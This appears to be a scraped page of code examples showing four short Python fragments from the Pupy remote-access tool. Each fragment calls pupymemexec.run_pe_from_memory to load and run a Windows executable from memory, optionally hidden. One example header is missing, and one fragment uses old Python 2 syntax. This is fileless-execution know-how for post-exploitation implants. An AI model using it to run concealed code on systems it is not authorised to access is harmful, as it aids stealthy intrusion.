Example #1
0
	def run(self):
		hProcess, pStdin, pStdout, rpStdin, rpStdout =  pupymemexec.run_pe_from_memory(self.cmdline, self.raw_pe, self.redirect_stdio, self.hidden, self.dupHandle)
		self.pStdout=pStdout
		self.pStdin=pStdin
		self.rpStdout=rpStdout
		self.rpStdin=rpStdin
		self.hProcess=hProcess
Example #2
0
	def run(self):
		hProcess, pStdin, pStdout, rpStdin, rpStdout =  pupymemexec.run_pe_from_memory(self.cmdline, self.raw_pe, self.redirect_stdio, self.hidden)
		self.pStdout=pStdout
		self.pStdin=pStdin
		self.rpStdout=rpStdout
		self.rpStdin=rpStdin
		self.hProcess=hProcess
    def run(self):
        hProcess, pStdin, pStdout, rpStdin, rpStdout = pupymemexec.run_pe_from_memory(
            self.cmdline, self.raw_pe, self.redirect_stdio, self.hidden,
            self.dupHandle)

        self.pStdout = HANDLE(pStdout)
        self.pStdin = HANDLE(pStdin)
        self.rpStdout = HANDLE(rpStdout)
        self.rpStdin = HANDLE(rpStdin)
        self.hProcess = HANDLE(hProcess)
Example #4
0
    def execute(self, complete_cb, write_cb):
        ''' Execute process '''

        if complete_cb:
            self.complete_cb = rpyc. async (complete_cb)

        if write_cb:
            self.write_cb = rpyc. async (write_cb)
            self.terminate = True

        try:
            hProcess, pStdin, pStdout = pupymemexec.run_pe_from_memory(
                self.cmdline, self.raw_pe, write_cb is not None, self.hidden,
                self.dupHandle)
        except Exception, e:
            self.write_cb('[!] memexec failed: {}\n'.format(e))
            return False